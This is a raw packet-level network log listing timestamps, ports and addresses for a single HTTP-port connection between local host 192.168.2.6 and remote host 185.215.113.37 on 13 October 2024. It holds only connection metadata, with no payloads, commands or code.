Oct 13, 2024 14:49:18.789329052 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.789333105 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.789367914 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.789397001 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.791027069 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.791038990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.791049004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.791068077 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.791088104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.791100025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.791110039 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.791110992 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.791121006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.791125059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.791131020 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.791152000 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.791193962 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.792440891 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792458057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792491913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.792524099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.792551041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792562008 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792572975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792582989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792617083 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.792617083 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.792635918 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.792646885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792658091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792668104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792684078 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792686939 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.792706013 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.792752981 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.792776108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792788029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792799950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792809010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792815924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.792819023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792829037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792829990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.792886972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.792924881 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792936087 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792946100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792960882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792963028 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.792972088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.792993069 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793004990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793026924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793042898 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793375969 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793386936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793399096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793410063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793425083 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793427944 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793437004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793448925 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793461084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793478012 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793499947 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793694019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793704987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793715954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793725967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793735981 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793736935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793754101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793755054 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793766022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793780088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793781042 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793791056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793802023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793807030 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793812037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793823004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793832064 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793833017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793843031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793853998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793864012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793865919 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793865919 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793880939 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793889046 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793891907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793904066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793909073 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793915033 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793926001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793935061 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793936968 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.793984890 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.793984890 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.794004917 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.794017076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.794027090 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.794038057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.794049025 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.794085026 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.794111967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.794125080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.794157028 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.833568096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.833581924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.833591938 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.833600044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.833611012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.833626986 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.833636045 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.833642960 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.833646059 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.833703041 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.836853027 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.836860895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.836869001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837038994 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.837038994 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.837198973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837208986 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837217093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837225914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837234974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837243080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837251902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837256908 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.837260962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837270975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837281942 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837285042 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.837291956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837301016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837311029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837321043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837327003 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.837344885 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.837356091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837373972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.837400913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.837518930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837529898 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837538958 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837548018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837558031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837563038 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.837570906 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837579012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837583065 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.837589025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837594032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837604046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837605953 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.837614059 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837625027 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.837636948 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.837661028 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.855365992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.855380058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.855398893 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.855407953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.855417013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.855427027 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.855437994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.855514050 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.855515003 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.877580881 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.877595901 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.877605915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.877618074 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.877640009 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.877650023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.877660990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.877681017 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.877727985 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.879658937 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.879753113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.879761934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.879771948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.879782915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.879791975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.879802942 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.879812956 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.879812956 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.879904032 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.879904032 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.880069971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.880137920 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.881114960 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881172895 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.881238937 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881249905 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881258965 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881269932 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881279945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881289005 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.881318092 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.881331921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881342888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881351948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881361961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881371975 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.881372929 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881405115 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.881436110 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.881443024 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881453991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881474972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881485939 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881495953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881496906 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.881505013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881517887 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.881546974 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.881628036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881639004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881648064 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881659031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881664991 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.881669998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881679058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.881700993 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.881725073 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882119894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882170916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882170916 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882183075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882193089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882214069 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882240057 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882273912 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882283926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882293940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882303953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882313013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882323027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882354021 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882385969 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882405996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882416010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882427931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882431984 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882437944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882458925 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882491112 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882493019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882504940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882514954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882540941 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882565975 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882575035 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882586002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882596016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882606983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882622957 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882647991 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882671118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882682085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882692099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882716894 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882741928 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882755041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882766008 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882776022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882792950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882803917 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882807016 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882814884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882828951 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882859945 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882879972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882890940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882900953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882911921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882914066 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882936954 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882961988 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.882978916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.882991076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.883001089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.883009911 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.883029938 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.883054972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.922362089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.922373056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.922384977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.922523022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.922672033 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.922681093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.922689915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.922698975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.922708035 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.922818899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.922818899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.925703049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.925764084 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.926057100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926073074 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926083088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926091909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926101923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926105022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.926110983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926120996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926129103 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.926130056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926140070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926148891 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926155090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.926158905 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926168919 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926177979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926178932 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.926187992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926199913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.926214933 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926224947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926224947 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.926234007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926244974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926260948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926264048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.926270962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926281929 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926291943 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926311970 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.926312923 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.926335096 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.926501989 CEST	80	49720	185.215.113.37	192.168.2.6
